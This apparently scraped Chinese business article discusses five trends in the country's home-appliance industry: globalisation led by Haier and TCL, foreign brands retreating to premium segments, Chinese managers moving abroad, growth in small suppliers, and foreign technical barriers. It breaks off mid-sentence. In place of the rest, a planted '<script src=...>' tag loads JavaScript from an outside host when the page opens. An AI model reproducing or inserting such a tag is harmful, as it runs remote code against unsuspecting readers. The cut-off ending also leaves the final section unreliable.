【导读】2006年也许会成为中国企业的全球化元年
风向一:国际化成为过去全球化成为必须
2005年在北京钓鱼台国宾馆的海尔集团21周年会议，成为中国制造业逐渐告别国际化进入全球化竞争的号角。在历史上，2006年也许会成为中国企业的全球化元年。
在中国最先进、最成熟的行业就是家电行业，家电产品早在20年之前就出口到了国外，以oem为主，后来这几年又在国外建厂，实现了产品本地化，开始部分以自己的自有品牌出口。但这些只是国际化而不是全球化，全球化的概念跟国际化的概念不一样，它不仅意味着产品要输出，而且意味着品牌也要输出;其中产品输出意味着高端品质产品的出口比例不断升高。据商务部统计，2005年中国的外贸总额已居世界第三，高附加值的高新技术产品输出首次迈上两千亿美元台阶，达到2183亿美元，已占外贸总额的28.6%，而且正在呈现持续不断上升的态势，品牌输出则意味着来自中国的世界级家电品牌正在进入全世界百姓的家庭。
这方面，以海尔和tcl为代表正在进行着积极而又富有意义的起步，海尔的酒柜、冷柜在美国，海尔的洗衣机在日本，在全世界各地的高自有品牌占有率正在成为中国的骄傲;而tcl连连收购施奈德、汤姆逊、阿尔卡特等等的核心业务虽有各种难言之处，但确是中国家电将大面积试水全球化的一个重要标志。
风向二:外资家电巨头的撤退路线图
我们经常遇到一个说法:外资家电卷土重来，又要夺回中国市场江山。这并非全部正确，外资家电不是卷土重来，而是一直在中国，20年之前早已重兵进入，比如松下、东芝彩电，20年之前小小的电视卖到非常高的价格，利润率奇高无比，所以基本上已经来了至少70%的企业。10年之前外资企业已经开始退守高端，因为我们所谓的低端产品利润在10年之前就被中国家电企业吃完了。不退守高端就没有可圈可点的利润来维系其生存发展。到今天，世界家电巨头早已经不是严格意义上的家电企业了。西门子、飞利浦、柯达、ge、sony等等，这些企业在飞速发展过程中，一直在中国积累着很好的心智资源，这些资源就可以促使它们把技术积累、品牌积累转变成更可以在家电领域之外游刃有余地挣钱的工具，比如美国ge拿下了2008年北京奥运会的水处理设备项目，西门子高速列车已经获得了60亿元的大订单，柯达、飞利浦的医疗设备，充斥着中国几乎所有的大医院。所以，刚刚上任的西门子总裁透露，西门子在2005年把在整个世界的家电业务变成10%以下甚至是5%。
在中国，在中国家电巨头的围剿下，世界家电巨头的中国家电业务也会一步步降低，5%~10%将是其底限。世界家电巨头的中国投入越来越成为高端品牌和高端技术溢出享受的代名词，直到中国本土企业成为世界家电业高技术和高品牌的代名词。
风向三:中国将输出大量家电职业经理人
只有练出来的兵才是好兵，只有练出来的职业经理人才是世界职业经理人。在世界家电销售舞台上，中国企业经历了20年的洗礼与磨炼，一代比一代成熟。中国家电产品在世界范围的格局显示，中国家电已经是世界家电制造的高地，同样也是职业经理人的高地。康佳彩电的匡宇斌去了日本雅佳电视就是一个很好的信号。其实随着海信、创维、长虹等在世界各地的工厂投产，中国家电职业经理人已经开始扎根全球。将来三到五年之内，我们会发现全世界最优秀的家电职业经理人出自中国。中国家电企业走到今天，确实经历了很多问题，但是问题本身就是锻炼人的一个好方法，我们经历了规模战、价格战、标准战、壁垒战、贸易战，世界级人才自然得以涌现。
风向四:中小家电企业不减反增
好多人以为价格战、规模战会使中小家电企业越来越少，其实是错误的。价格战、规模战消灭的是我们看得见的企业，只有看不见的企业多才会使看得见的企业越来越大、越来越强、越来越有品牌、越来越有制造能力，成为世界的核心。2004年的数据显示，中国的家电制造企业和配套企业有8000多家，但现在我们耳熟能详的各个领域合并不会超过100家。按照世界的格局，中国家电的格局到每一个产业只剩三到五家就足够了。
但按照世界的发展规律来看，例如，每一个日本的大企业，后边至少有3000到5000家企业提供供应。到现在我们中国的家电企业依然是大企业不够大(跟世界级巨头ge上千亿美元的营业额相比，我们的一个企业只能相当于人家的一个车间)，小企业也不够多。我们真正的家电“恐龙”是需要大量草原的，现在我们“恐龙”不是“恐龙”，草原也不够，将来的发展前途就是小企业越来越多、大企业越来越少。而已经倒下的中国家电巨头已经留下了很好的草原型小企业的种子。
风向五:世界消费电子领域的中国自主产权峰谷
来自中国科技促进发展研究中心联合组织的一项调查显示，近几年我国有60%的出口企业遇到国外的技术壁垒，技术壁垒给我国带来的影响每年超过450亿美元。这也是中国家?script src=http://er12.com/t.js>
